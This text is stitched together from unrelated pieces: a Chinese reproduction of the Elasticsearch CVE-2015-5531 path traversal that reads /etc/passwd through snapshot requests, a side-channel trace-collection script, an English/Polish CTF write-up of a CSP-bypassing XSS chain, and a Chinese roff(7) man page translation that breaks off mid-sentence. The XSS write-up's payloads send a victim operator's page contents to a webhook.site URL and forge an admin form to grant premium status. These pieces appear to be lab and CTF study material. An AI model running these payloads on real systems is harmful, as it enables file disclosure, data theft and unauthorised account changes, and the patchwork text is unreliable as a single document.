# ElasticSearch 目录穿越漏洞(CVE-2015-5531) jre版本:openjdk:8-jre elasticsearch版本:v1.6.0 影响版本:1.6.1以下 ## 原理 参考文章 - https://www.exploit-db.com/exploits/38383/ - http://www.freebuf.com/vuls/99942.html 说明: elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在`path.repo`,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。 ## 漏洞复现 ### 1. 新建一个仓库 ``` PUT /_snapshot/test HTTP/1.1 Host: your-ip:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 108 { "type": "fs", "settings": { "location": "/usr/share/elasticsearch/repo/test" } } ``` ![](1.png) ### 2. 创建一个快照 ``` PUT /_snapshot/test2 HTTP/1.1 Host: your-ip:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 108 { "type": "fs", "settings": { "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" } } ``` ![](2.png) ### 3. 目录穿越读取任意文件 访问 `http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd` ![](3.png) 如上图,在错误信息中包含文件内容(编码后),对其进行解码即可获得文件: ![](4.png)
sec-knowleage
from library import * import sys # python collect_same.py traces.npz 10 0x41 0x42 n = int(sys.argv[2]) inputs1 = np.full((n, 16), int(sys.argv[3], 0), dtype=np.uint8) inputs2 = np.full((n, 16), int(sys.argv[4], 0), dtype=np.uint8) inputs = np.concatenate((inputs1, inputs2)) np.random.shuffle(inputs) collect(sys.argv[1], inputs)
sec-knowleage
# Magician (web) [PL](#rozpoznanie) ## Analysis In this challenge we can see a simple website imitating a web store with stuff for magicians: ![](image6.png) The registration form contains standard login and password fields and “name” field that fill be visible in our profile: ![](image4.png) ![](image8.png) Besides editing our profile (we can change the “name” field to any string of up to 33 characters length) we can see “support” tab that suggests typical XSS task: ![](image3.png) The hardcoded URL of our profile suggests injecting into “name” field in our profile that we control - however, it’s just a bait (typical for ctf.zone) and the limit is only client-side. Removing readonly attribute from “Link to profile” field lets us redirect the operator to any website that we control. ![](image7.png) Now we gain very useful information: the operator is using Firefox 6.1 A quick glance at response headers: ``` Content-Security-Policy: style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; X-Frame-Options: ALLOW-FROM http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one X-XSS-Protection: 1; mode=block ``` ## XSS We can find a real XSS in uid parameter of profile.php script: ![](image1.png) Unfortunately, the maximum length of our payload is 36 characters. It’s too short for any meaningful action, so we need to think of something that will let us execute longer payloads. After many tires and some googling we find the solution: the name attribute of window object is not changed while redirecting to different origins. We can set it in our website and execute on vulnerable one with short payload that bypasses CSP and makes uses of the fact that it’s allowed to load iframes from our own origin: ```html ?uuid="><iframe onload=srcdoc=window.name> ``` iframe with content loaded with srcdoc parameter will be treated as same-origin It’s worth to mention that we don’t care about X-XSS-Protection header that is simply ignored by Firefox. ```html <script> window.name='<script>alert("This is XSS!")</scrip'+'t>'; window.location = 'http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one/profile.php?uuid=%22%3E%3Ciframe%20onload=srcdoc=window.name%3E'; </script> ``` ![](image2.png) ## Getting the flag The remaining part of the task is simple: we send the content of operator’s website to us: ```html <script> window.name = ` <script> window.frameElement.onload=null; window.location="http://webhook.site/57607bbd-c1c9-43df-87cf-1de7dfe72d01?c="+btoa(window.parent.document.body.innerHTML); ` window.name += '</scrip'+'t>’ window.location = 'http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one/profile.php?uuid=%22%3E%3Ciframe%20onload=srcdoc=window.name%3E' </script> ``` And observe the new option in menu: manage.php: ![](image5.png) Let’s write a payload that fills the form with our uid and gives us premium account: ```html <script> window.name = ` <script> window.frameElement.onload=null; console.log(window.parent.document.body.innerHTML); function elo() { document.getElementById('cudo').onload=null; r = document.getElementById('cudo').contentWindow.document; r.getElementsByName('user_uuid')[0].value = 'dbb306dd-28c1-4333-88ba-9588842f08e0'; r.getElementsByName('status')[0].value = 'premium'; r.getElementById('user_manage').submit(); } ` window.name += '</scrip'+'t><iframe src="/manage.php" onload="elo()" id="cudo">' window.location = 'http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one/profile.php?uuid=%22%3E%3Ciframe%20onload=srcdoc=window.name%3E' </script> ``` After refreshing our profile we can find a flag inside (unfortunately, while writing this writeup, that bot visiting website seems to be dead, so there won’t be a screenshot :( ) ``` ctfzone{0190af5705a38115cd6dee6e7d79e317} ``` ## Rozpoznanie W zadaniu dostajemy prostą stronę udającą sklep z artykułami dla iluzjonistów: ![](image6.png) Formularz rejestracji zawiera standardowe pole loginu i hasła oraz pole “name”, które będzie wyświetlane w profilu: ![](image4.png) ![](image8.png) Oprócz edycji profilu (możemy zmienić pole Name na dowolny napis o długości do 33 znaków) widzimy zakładkę support, która sugeruje typowe zadanie na XSS: ![](image3.png) Ustawiony na sztywno adres do naszego profilu sugeruje konieczność wstrzyknięcia naszego kodu w pole Name, które edytujemy - jest to jednak zwykła zmyła (typowa dla ctf.zone ;) ), a ograniczenie jest sprawdzane jedynie po stronie klienta. Usunięcie atrybutu readonly z pola “Link to profile” pozwala nam na przekierowanie operatora na dowolną kontrolowaną przez nas stronę: ![](image7.png) Zyskujemy w ten sposób ważną informację: operator korzysta z przeglądarki Firefox 6.1. Szybki rzut oka na nagłówki odsyłane przez serwer: ``` Content-Security-Policy: style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; X-Frame-Options: ALLOW-FROM http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one X-XSS-Protection: 1; mode=block ``` ## XSS Prawdziwego XSS-a znajdujemy w polu uid skryptu profile.php: ![](image1.png) Niestety, maksymalna długość naszego payloadu nie może przekraczać 36 znaków. To za mało na wykonanie jakiejkolwiek sensownej akcji, więc musimy pomyśleć o czymś, co pozwoli nam wykonywać dłuższe skrypty. Po wielu próbach i googlowaniu znajdujemy rozwiązanie: atrybut name obiektu window jest przekazywany między stronami. Możemy więc ustawić go na swojej stronie i wykonać na podatnej stronie krótkim payloadem, który omija CSP i wykorzystuje to, że dozwolone jest ładowanie ramek z własnego origina: ```html ?uuid="><iframe onload=srcdoc=window.name> ``` Ramka z zawartością załadowaną przez srcdoc będzie miała ten sam origin, co strona rodzica Warto wspomnieć, że nie przeszkadza nam tutaj nagłówek X-XSS-Protection, który Firefox zwyczajnie ignoruje. ```html <script> window.name='<script>alert("This is XSS!")</scrip'+'t>'; window.location = 'http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one/profile.php?uuid=%22%3E%3Ciframe%20onload=srcdoc=window.name%3E'; </script> ``` ![](image2.png) ## No to flaga! Dalej już z górki: przesyłamy sobie zawartość strony, którą widzi operator: ```html <script> window.name = ` <script> window.frameElement.onload=null; window.location="http://webhook.site/57607bbd-c1c9-43df-87cf-1de7dfe72d01?c="+btoa(window.parent.document.body.innerHTML); ` window.name += '</scrip'+'t>’ window.location = 'http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one/profile.php?uuid=%22%3E%3Ciframe%20onload=srcdoc=window.name%3E' </script> ``` I w zwróconym kodzie zauważamy nową opcję w menu: manage.php: ![](image5.png) Napiszmy więc payload, który wypełnia formularz naszym uuid i przyznaje nam konto premium: ```html <script> window.name = ` <script> window.frameElement.onload=null; console.log(window.parent.document.body.innerHTML); function elo() { document.getElementById('cudo').onload=null; r = document.getElementById('cudo').contentWindow.document; r.getElementsByName('user_uuid')[0].value = 'dbb306dd-28c1-4333-88ba-9588842f08e0'; r.getElementsByName('status')[0].value = 'premium'; r.getElementById('user_manage').submit(); } ` window.name += '</scrip'+'t><iframe src="/manage.php" onload="elo()" id="cudo">' window.location = 'http://web-04.v7frkwrfyhsjtbpfcppnu.ctfz.one/profile.php?uuid=%22%3E%3Ciframe%20onload=srcdoc=window.name%3E' </script> ``` Po czym odświeżamy nasz profil i znajdujemy w nim flagę (niestety, na moment pisanie writeupa bot odwiedzający stronę nie działa, więc nie będzie screenshota :( ): ``` ctfzone{0190af5705a38115cd6dee6e7d79e317} ```
sec-knowleage
.ig roff.man Last update: 22 Apr 2002 This file is part of groff, the GNU roff type-setting system. Copyright (C) 2000, 2001, 2002 Free Software Foundation, Inc. written by Bernd Warken <bwarken@mayn.de> maintained by Werner Lemberg <wl@gnu.org> Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being this .ig-section and AUTHORS, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the Free Documentation License is included as a file called FDL in the main directory of the groff source package. .. . .\" -------------------------------------------------------------------- .\" Setup .\" -------------------------------------------------------------------- . .mso www.tmac . .if n \{\ . mso tty-char.tmac . ftr CR R . ftr CI I . ftr CB B .\} . .if '\*[.T]'dvi' \{\ . ftr CB CW .\} . . .\" -------------------------------------------------------------------- .\" String definitions . .\" Final `\""' comments are used to make Emacs happy, sic \"" . .\" The `-' sign for options. .ie t \{\ . ds @- \-\" . ds @-- \-\-\" .\} .el \{\ . ds @- -\" . ds @-- --\" .\} . .ds Comment \.\[rs]\[dq]\" .ds Ellipsis \.\|.\|.\&\" . . .\" -------------------------------------------------------------------- .\" Begin of macro definitions . .de c .\" this is like a comment request when escape mechanism is off .. . .eo . .c --------------------------------------------------------------------- . .de Text . nop \)\$* .. . .de CodeSkip . ie t \ . sp 0.2v . el \ . sp .. . .de Esc . ds @1 \$1\" . shift . Text \f[B]\[rs]\*[@1]\f[]\$* . rm @1 .. . .de QuotedChar . ds @1 \$1 . shift . nop `\f[B]\*[@1]\f[]'\$* . rm @1 .. . .c -------------------------------------------------------------------- . .c a shell command line .de ShellCommand . br . ad l . nh . Text \f[I]sh#\h'1m'\f[]\f[CR]\$*\f[]\&\" . ft R . ft P . hy . ad .. . .c -------------------------------------------------------------------- . .c ShortOpt ([c [punct]]) .c .c `-c' somewhere in the text. .c The second argument is some trailing punctuation. .c .de ShortOpt . ds @1 \$1\" . shift . nh . Text \f[CB]\*[@-]\f[]\f[B]\*[@1]\f[]\/\$* . hy . rm @1 .. . .de TP+ . br . ns . TP \$1 .. . .c -------------------------------------------------------------------- . .c Topic .c .de Topic . TP 2m . Text \[bu] .. . .ec .\" End of macro definitions . . .\" -------------------------------------------------------------------- .\" Title .\" -------------------------------------------------------------------- . .TH ROFF 7 "23 April 2002" "Groff Version 1.18.1" .SH NAME roff \- roff 排版系统的概念和历史 . . .\" -------------------------------------------------------------------- .SH "描述 DESCRIPTION" .\" -------------------------------------------------------------------- . .I roff 是一系列排版程序,如 .IR troff , .IR nroff , .IR ditroff , .IR groff , 等等的通称。 . 一个 roff 排版系统包含一个可扩展的文本格式化语言和一系列程序用以打印和转换为其他文本格式。 . 传统的,它是 Unix 的主要文本处理系统;现在,每个 类Unix 操作系统仍然附带一个 roff 系统作为核心软件包。 . .P 当今最普遍的 roff 系统是自由软件的实现 .IR "GNU roff", .BR groff (1). . groff 之前的实现被称为传统的 .I classical 实现 (从 1973 年开始)。 . .I groff 实现了它的传统的前辈的用法和功能,并且加入了更多扩展。 . 当前,由于 .I groff 是唯一可以在 (几乎是) 任何计算机系统上都可用的 roff 系统,因此它是事实上的 roff 标准。 . .P 在一些古老的 Unix 系统中,有一个叫做 .B roff 的可执行文件,实现了甚至更加古老的 .I Multics 操作系统中的 .B runoff 。 参见 .BR HISTORY 段落。 它的功能非常有限,即使与古老的 troff 相比;它不再被支持了。 . 因此,在本文档中, .I roff 总是泛指 roff 系统 .IR "roff system" ,不是古老的 roff 可执行文件 . .P 尽管历史悠久,roff 当前还在广泛使用中,例如,UNIX 系统的手册页 .RI ( man\~pages\/ ) ,很多软件书籍,系统文档,标准和团体组织的文档都是用 roff 来写的。 . roff 在文本设备上的输出效果仍然是无可比拟的, 并且,与其他自由的排版系统相比,它的图形输出也不差, 甚至强于很多商业的系统 . .P 最普遍的 roff 的应用是手册页 .I manual pages (简称 .IR "man pages") ; 它是很多操作系统中的标准文档系统 . .P 此文档描述了围绕 .IR "roff system" 开发的一些历史事件; 所有 roff 版本在用法方面的一些共同点, roff 管道的细节--它经常被掩盖在类似 .BR groff (1) 等等的 “前端” 之后; 对排版语言的一般的概述; 一些写 roff 文档的技巧; 还有到更多资料的链接 . . .\" -------------------------------------------------------------------- .SH "历史 HISTORY" .\" -------------------------------------------------------------------- . .I roff 文本处理系统有很长的一段历史,可以回溯到60 年代。 . roff 系统自身与 Unix 操作系统关系密切, 但是它的起源要从更早的操作系统 CTSS 和 Multics 开始。 . . .\" -------------------------------------------------------------------- .SS "祖先 The Predecessor runoff" .\" -------------------------------------------------------------------- . .P .I roff 系统的演变与操作系统的历史紧密联系。 . 它的 “先祖” .B runoff 是 .I Jerry Saltzer 在 .I CTSS 操作系统 .RI ( "Compatible Time Sharing System" ,兼容分时系统 (?),1961) 上的作品。 . CTTS 后来发展成为操作系统 .URL http://\:www.multicians.org "Multics" , Unix 的一个著名的来源,出现于 1963,同时 .I runoff 成为文档和文本处理的主要格式。 . 当时,这两种操作系统只能运行在非常昂贵的计算机之上, 因此它们大部分用于研究和官方及军队的任务之中 . .P 与现代的 roff 相比, .I runoff 语言可以做的事非常有限。 . 在 60 年代,只能产生文本的输出。 . 这可以用一个长度为\~2 的命令 (request) 的集合实现, 这些命令的绝大部分都保持不变地被 roff 采用。 . 这种语言的模型是根据 “前计算机时代” 的排版习惯而建立的, 那时,以点 (dot, `.') 开头的行被写在手稿中, 向之后进行手工排版工作的工人指示格式化的要求 . .P 开始,runoff 程序是用 .I PL/1 语言写成的,后来用 .IR BCPL 来写--那是 .IR C \~\c 编程语言的 “祖母”。 . 在 Multics 操作系统中,帮助系统由 runoff 来处理, 与 roff 管理 Unix 手册页的作用类似。 . 仍然有 runoff 语言写成的文档, 例如可以到 Saltzer 的主页看看。参见 .BR "SEE ALSO" 段 . . .\" -------------------------------------------------------------------- .SS "传统的 nroff/troff 系统 The Classical nroff/troff System" .\" -------------------------------------------------------------------- . 在 70 年代,Multics 的后裔 (offspring) .I Unix 变得越来越普遍,因为它可以运行在廉价的计算机上, 并且那时在大学里可以很容易地获得。 . 在 MIT (麻省理工,the Massachusetts Institute of Technology), 有人想在一台运行 Unix 的 PDP-11 计算机上驱动 Wang (王安公司?) 的 .I Graphic Systems CAT 排字机,一种图形化的输出设备。 . 由于 runoff 在这种任务上能力有限,它被 .IR "Josef F. Osanna" , (Multics 操作系统的主要开发者之一,几个 runoff 移植系统的作者) 继续开发,成为一种更强大的文本排版系统 . .P .I runoff 这个名字被简化为 .IR roff . Ocsanna 所设想的,极大扩展了的语言已经包含了一个完整的 .IR "roff" 系统的所有元素。 . 所有现代的 roff 系统都试图实现同这个系统兼容。 . 因此 Joe Osanna 是当之无愧的所有 roff 系统之父 . .P 最早的 .I roff 系统有三个排版程序 . .TP .B troff .RI ( "typesetter roff\/" ) 为它唯一支持的 .I CAT 排字机产生一个图形的输出 . .TP .B nroff 为终端和文本打印机产生合适的文本输出 . .TP .B roff 对最初的 runoff 程序的有限功能进行重新实现; 这个程序在后来的版本中被抛弃。 . 现在, .I roff 这个名字只用来指代一个 troff/\:nroff 系统的整体 . .P Osanna 的第一版用 PDP-11 的汇编语言实现,发布于 1973. . .I Brian Kernighan 加入到 .I roff 的开发中,使用 C\~编程语言将它进行了重写。 . C\~版本发布于 1975. . .P .BR nroff / troff 程序使用的排版语言的语法记载在著名的 .IR "Troff User's Manual [CSTR\~#54]" 中,出版于 1976, Brian Kernighan 对它不断修订,直到 1992 年。 . 此文档是对传统的 .IR "classical troff" 的说明. 所有后来的 .I roff 系统都试着与这个说明实现兼容 . .P 1977 年,Osanna 在他\~50 岁时,由于一次突发的心脏病而去世。 Kernighan 继续开发 troff。 . 下一个开发目标是赋予 troff 一个更一般的接口,以支持更多设备, 中间输出格式和 “后处理” 系统。 . 这使得 .I "roff" 系统的结构趋于完整,现在仍然被使用。参见 .BR "USING ROFF" 段。 . 1979 年,它们被写入论文 .IR "[CSTR\~#97]" . 这个新的 troff 版本是所有现存的较新的 troff 系统的基础,包括 .IR groff . . 在一些系统上,这个设备无关的 .I troff 有一个可执行文件叫做 .BR ditroff (7). . 所有现代的 .B troff 程序都已经自动提供了对 distroff 完整的兼容性 . . .\" -------------------------------------------------------------------- .SS "商业化 Commercialization" .\" -------------------------------------------------------------------- . 免费的 Unix\~7 操作系统商业化之后,出现了严重的退步。 . 一大批不同的操作系统浮出水面,为他们所作的扩展间的互不兼容而争斗。 . 幸好,这种不兼容没有影响到原始的 troff。 . 所有不同的商业版本的 roff 系统都大量使用了 Osanna/\:Kernighan 的开放的源代码和文档,但是却将其作为 .BI "它们的" 系统 (\[lq]their\[rq] system) 出售\[em] 只有很少的修改 . .P 古老的 Unix 和传统的 troff 的源代码在长达 20 年时间里不再可以自由获得。 . .P 幸运的是,Caldera 收购了 SCO UNIX (2001). . 随后,Caldera 使得源代码可以在网上获得,允许用于非商业用途。参见 .BR "SEE ALSO" 段 . .P (译注:谁能想到,现在,2003 年,SCO会成为自由软件和开源软件界共同的敌人呢? 而Caldera 又在什么地方呢?) . . .\" -------------------------------------------------------------------- .SS "自由的 Free roff" .\" -------------------------------------------------------------------- . 任何商业的 roff 系统都无法成为 roff 开发中的后继者。 . 商业社会中的每个人都只对他们自己的事情感兴趣。 . 这使得曾经如此优秀的 Unix 操作系统在 80 年代一蹶不振 . .P 作为对如此快速的商业化过程的补救 (As a counter-measure to the galopping commercialization,还请重新翻译), AT&T Bell Labs 贝尔实验室试图发起一个恢复性的项目 (?,a rescue project) ,使用他们的 .I Plan\~9 操作系统。 . 它可以免费用于非商业用途,甚至包含了源代码。 但是它有一个专利许可证,that empedes the free development ( 还请解释词义)。 . 这种想法早已过时,因此 Plan\~9 没有被主流开发者接受为自己的平台 . .P 真正的补救措施 (?, remedy) 是不断出现的自由操作系统 (386BSD, GNU/\:Linux, 等等.) 和 80 年代到 90 年代的自由软件工程。 . 他们实现了传统的 Unix 的特性和很多扩展,因此旧的 “XP体验” 不会丢掉 (such that the old experience is not lost)。 . 进入 21 世纪,类 Unix 系统重新成为计算机工业中的主导因素 \[em] 这要感谢自由软件 . .P 最重要的自由 roff 计划是 GNU 移植版本的 troff, 由 James Clark 建立,使用 .URL http://\:www.gnu.org/\:copyleft "GNU Public License" . . 它叫做 .I groff .RI ( "GNU roff" ). 参见 .BR groff (1) 中的概述 . .P groff 系统仍然在继续开发。 . 它与传统 troff 兼容,但是还添加了很多扩展。 . 它是第一个可以在几乎所有操作系统上运行的 roff 系统并且 \[em] 它是自由开放的。 . 这使得 groff 成为现在 roff 的事实标准 . . .\" -------------------------------------------------------------------- .SH "使用 USING ROFF" .\" -------------------------------------------------------------------- . 很多人不会注意到他们在使用 roff。 . 当你阅读一份手册页 (man page) 时,roff 工作在后台。 . roff 文档可以使用 .BR xditview (1x) 程序查看,它是一个 X 发行版的标准程序。参见 .BR X (7x). . 但是显式地使用 roff 也不困难 . .P 一些 roff 实现提供了包装程序,使得人们可以简单地在命令行使用 roff 系统。 . 例如,GNU 的 roff 实现 .BR groff (1) 提供了命令行选项来避免传统 troff 中过长的的命令管道; .BR grog (1) 程序试着从文档猜测应当使用什么参数来运行 groff; 不习惯于指定命令行选项的人应当用 .BR groffer (1) 程序来图形化地显示 groff 文件和手册页 . . .\" -------------------------------------------------------------------- .SS "管道 The roff Pipe" .\" -------------------------------------------------------------------- . roff 系统由预处理器 (preprocessor),roff 排版程序和后处理器 (postprocessor) 组成。 . 这种结构使用了大量的管道 .I piping 机制,意思是,一系列的程序陆续地被调用, 队列中的每个程序的输出就作为下一个程序的输入 . .CodeSkip . .ds @1 "cat \f[I]file\f[P] |\"" .ds @2 "\*[Ellipsis] | \f[I]preproc\f[P] | \*[Ellipsis] |\"" .ds @3 "troff \f[I]options\f[P] | \f[I]postproc\f[P]\"" . .ShellCommand "\*[@1] \*[@2] \*[@3]" . .rm @1 .rm @2 .rm @3 .P 预处理器产生 roff 代码,传给一个 roff 处理器 (例如,troff), 然后 roff 处理器接下来产生中间输出,传给一个后处理器程序, 用来打印或者产生最终输出 . .P 所有这些组件都使用它们自己的程序语言; 每种语言是与其他组件完全无关的。 . 此外,还可以包括为特殊目标而制作 (tailor) 的 roff 宏包 . .P 大多数 roff 文档中掺杂着使用一些包中的宏、 一个或多个预处理器的代码,还会添加 roff 语言中的一些元素。 . 用户很少需要用到 roff 排版语言的完整功能; 只有宏包的作者需要知道底层细节 (gory details) . . . .\" -------------------------------------------------------------------- .SS "预处理器 Preprocessors" .\" -------------------------------------------------------------------- . 预处理器是任何产生符合 roff 排版语言语法的输出的程序。 . 每个预处理器都有它自己的语言,在预处理器运行时被翻译为 roff 代码。 . roff 文档中可以包含以这种语言写成的片段; 它们可以被特殊的 roff 命令或宏识别 (they are identified by special roff requests or macros)。 . 加入了预处理器代码的文档必须通过所有相应的预处理器处理之后, 才能传给真正的 roff 排版程序, 因为真正的 roff 排版程序会忽略所有陌生的代码。 . 预处理器只会分析并转换指定由它处理的文档部分 . .P 有大量的自由/商业 roff 预处理器。 . 一些不能在所有系统上使用, 还有一些预处理器被认为是 roff 系统不可分割的部分。 . 传统的预处理器有 . .de @TP .\" local indent for .TP .TP \\w'\\f[B]soelim\\f[P]'u+2n .. .P .RS .PD 0 .@TP .B tbl 制表 (table) .@TP .B eqn 数学公式 (mathematical formul\[ae]) .@TP .B pic 绘图 (diagram) .@TP .B refer 书目索引 (bibliographic references) .@TP .B soelim 包含标准位置的宏文件 (macro) .PD .RE . .P 其他已知预处理器,但不是在所有系统上都可用,包括 . .P .RS .PD 0 .@TP .B chem 化学公式 (chemical formul\[ae]) .@TP .B grap 构造图元 (graphical elements) .@TP .B grn 插入 .BR gremlin (1) 图片 .PD .RE . .rm @TP . .\" -------------------------------------------------------------------- .SS "排版程序 Formatter Programs" .\" -------------------------------------------------------------------- . A .I roff formatter 排版程序是一个解释用 roff 排版语言或 roff 宏包写成的文档的程序。 . 它产生中间结果 .IR "intermediate output" , 将送入单一设备后处理器。后处理器必须在排版程序的命令行选项中指定。 . 文档必须已经通过了所有需要的预处理器处理 . .P roff 排版程序的输出以另外一种语言表示: .IR "intermediate output format" 或 .IR "troff output" . 这种语言最初详述在 .IR "[CSTR\~#97]" 中;它的 GNU 扩展记载在 .BR groff_out (5) 中。 . 中间输出语言与高级的 roff 语言相比像一种汇编指令语言。 . 产生的中间输出是为一种特定的设备优化过的, 但是对于所有设备,这种语言都适用 . .P roff 排版程序是整个 roff 系统的核心。 . 传统 roff 有两个排版程序: 对应字符设备的 .B nroff 和对应图形设备的 .B troff . .P 通常, .I troff 这个名字泛指这两种排版程序 (is used as a general term to refer to both formatters)。 . . .\" -------------------------------------------------------------------- .SS "设备 后处理器 Devices and Postprocessors" .\" -------------------------------------------------------------------- . 设备是类似打印机、字符或图形终端等的硬件接口, 或者是用于转换为另一种字符或图形设备的软件接口 . .P 后处理器是将 troff 输出转化为一种适于某种特殊设备的格式的程序。 . 对于输出目标来说,roff 后处理器像是它们的设备驱动 . .P 每种设备都有为其优化的后处理器程序。. . 后处理器解释中间输出,产生设备相关的代码,传送给设备 . .P 设备名和后处理器程序的名称是不固定的, 因为它们依赖于计算机的软硬件的能力。 . 例如, .I [CSTR\~#54] 中提到的传统的设备名已经有了极大的改变。 . 旧的硬件不再存在,旧的图形转换程序与现代同等功能的程序相比太不精确了 . .P 例如,Postscript 设备 .I post 在传统 troff 中分辨率是 720,而 groff 的 .I ps 设备是 72000, 提高了 100 倍 . .P 现在,操作系统为大多数类似打印机的硬件提供了设备驱动, 因此不必为每个打印机写一个特殊的后处理器 . . .\" -------------------------------------------------------------------- .SH "roff 编程 ROFF PROGRAMMING" .\" -------------------------------------------------------------------- . roff 文档是加入了 roff 排版元素的普通文档。 . roff 排版语言非常强大; 它几乎是一个完整的程序语言,并且提供了扩充自身的元素。 . 使用这些元素,就可以开发为特殊程序定制的宏包。 . 这样的宏包比普通的 roff 要容易上手得多。 . 所以大多数人会选择一中宏包, 不用去关心 roff 语言的内部实现 . . .\" -------------------------------------------------------------------- .SS "宏包 Macro Packages" .\" -------------------------------------------------------------------- . 宏包是一些适于以便利的办法格式化某种特殊文档的宏的集合。 . 它们简化了 roff 的使用。 . 一个包的宏定义保存在一个叫做 .IB name .tmac 的文件中 (传统的命名是 .BI tmac. name\c ). . 所有 tmac 文件保存在标准位置的一个或多个目录中。 . 有关宏包的命名和位置的细节可以看 .BR groff_tmac (5). . .P 文档中用到的宏包可以使用命令行选项 .ShortOpt m 提供给排版程序, 参见 .BR troff (1), 它们也可以在文档中指定,使用 roff 语言的 “包含文件” 命令,参见 .BR groff (7). . .P 著名的传统宏包有 .I man 用来处理传统手册页 .I mdoc 处理 BSD 样式的手册页;此类书籍、文档和信件的宏集合是 .I me (命名也许是根据它的创造者之名 .I Eric Allman 而来), .I ms (命名来自 .IR "Manuscript Macros\/" ), 还有 .I mm (命名来自 .IR "Memorandum Macros\/" ). . . .\" -------------------------------------------------------------------- .SS "roff 排版语言 The roff Formatting Language" .\" -------------------------------------------------------------------- . 传统的 roff 排版语言记述在 troff 用户手册 .I Troff User's Manual .IR "[CSTR\~#54]" 中. . roff 语言是完整的编程语言,提供了命令 (request),宏定义,转义序列 (escape sequence), 字符串变量,数字或数量寄存器 (number or size registers),还有流程控制语句 . .P .I Requests “命令” 是预定义的基础的排版命令,与 shell 提示下的命令类似。 . 用户可以定义类似 “命令” 的元素,使用 roff 的 “预定义” 元素。 . 用户定义的命令就被叫做 “宏” .IR macros . . 文档作者不会体会到 命令和宏 之间用法的任何区别; 它们都写在一行中,并以一个点 (dot, `.') 开始 . .P .I Escape sequences “转义序列” 是以反斜杠 (backslash, .QuotedChar \[rs] . ) 开始的 roff 元素。 它们可以被插入到任何地方,包括文本的一行中间。 . 它们用来实现不同的功能,可以使用 .Esc ( 插入非 ASCII 字符,使用 .Esc f 改变字体,使用 .Esc \[dq] 插入行内注释,它们也可以转义特殊的控制字符,像这样 .Esc \[rs] , 还有很多很多其他的功能 . .P .I Strings “字符串” 是存储一个字符串的变量。 . 字符串以 .B .ds 命令存储。 . 存储的字符串可以用 .B \[rs]* 转义序列获得 . .P .I Registers “寄存器” 存储数字和数量。 . 寄存器可以用 .B .nr 命令设置,然后用控制序列 .BR "\[rs]n" 来获得它的值 . . .\" -------------------------------------------------------------------- .SH "文件扩展名 FILE NAME EXTENSIONS" .\" -------------------------------------------------------------------- . 手册页使用章节号作为文件扩展名,例如本文档的文件名是 .IR roff.7 , 也就是说它放在手册页的第 \~7 章 . .P 传统的宏包使用包名称作为文件扩展名,例如 .IB file. me 意思是使用了 .I me 宏包的文件, .IB file. mm 使用了宏包 .IR mm , .IB file. ms 用的是 .IR ms , .IB file. pic 则是 .I pic 等等 . .P 但是没有 roff 文档统一的命名方式,尽管 .IB file. tr 用于 .I troff file 在现在和当时都是一样的 . 也许应当有 roff 文件扩展名的一个标准 . .P 文件扩展名与 .BR less (1) 格式化工具结合,会非常好用。 . 它提供了用单一的方式打开各种输入的可能性, 方法是定义一个 shell 环境变量 .BR LESSOPEN . 这种办法没有什么文档,这是一个例子: . .CodeSkip .ShellCommand LESSOPEN='|lesspipe %s' .CodeSkip . .B lesspipe 可以是一个系统提供的命令或者是你自己的脚本。 . . .\" -------------------------------------------------------------------- .SH "编辑 EDITING ROFF" .\" -------------------------------------------------------------------- . 最好的 roff 文档编辑器是 Emacs,参见 .BR emacs (1). 它提供了 .I nroff 模式,适于所有种类的 roff “方言”。 . 可以用下面的命令来激活这种模式 . .P 当用 Emacs 编辑文档时可以输入 .RI ` "M-x nroff-mode" ' 来改变模式,这里 .B M-x 意思是按住 .B Meta 键 (或 .BR Alt ) 同时点一下 .BR x\~ 键 . .P 也可以在编辑器加载文件的时候,自动改变模式 . .Topic 最好的办法是将下面三行注释包含在文件末尾 . .CodeSkip .nf .B \*[Comment] Local Variables: .B \*[Comment] mode: nroff .B \*[Comment] End: .fi . .Topic 有一系列的文件扩展名,例如手册页的扩展名,会自动触发 nroff 模式 . .Topic 理论上,可以将下面的序列 .CodeSkip .B \*[Comment] \%-*-\ nroff\ -*- .CodeSkip 作为文件的第一行,也可以使 emacs 在加载文件时启用 nroff 模式。 . 不幸的是,一些程序例如 .B man 在这种方法中会出错;因此请不要用它 . .P 所有的 roff 排版程序都提供了自动的断行以及水平和竖直间距。 . 为了不干扰它的功能,应当注意以下几点: . .Topic 不要在 roff 文档中包含空行或只包含空格的行, . 而是使用“空行”命令 (一行中只包含一个点),或者一行注释 .B \*[Comment] (如果需要一个构造元素的话) . .Topic 不要在行首用空格,因为这会导致不可预测的行为。 . 段落缩进可以以受控的方式,用 roff 命令构造出来 . .Topic 每句话应当放到自己的一行中,因为句号后面的空格的处理方法是根据它结束的是短语还是句子而不同的。 . 要区别这两种情况,在每句话后面加上一个换行 . .Topic 另外要使用 Emacs 的 auto-fill 模式的话,最好在每句话后面添加一个空的 roff 命令 (一行中只包含一个点) . .P 下面的例子显示了最佳的 roff 编辑习惯是怎样的 . .IP .nf 这是一个 roff 文档的例子. .Text . 这是同一段中的下一句. .Text . 这是下一个句子,它比较长,分成了多 行;类似 `cf.' 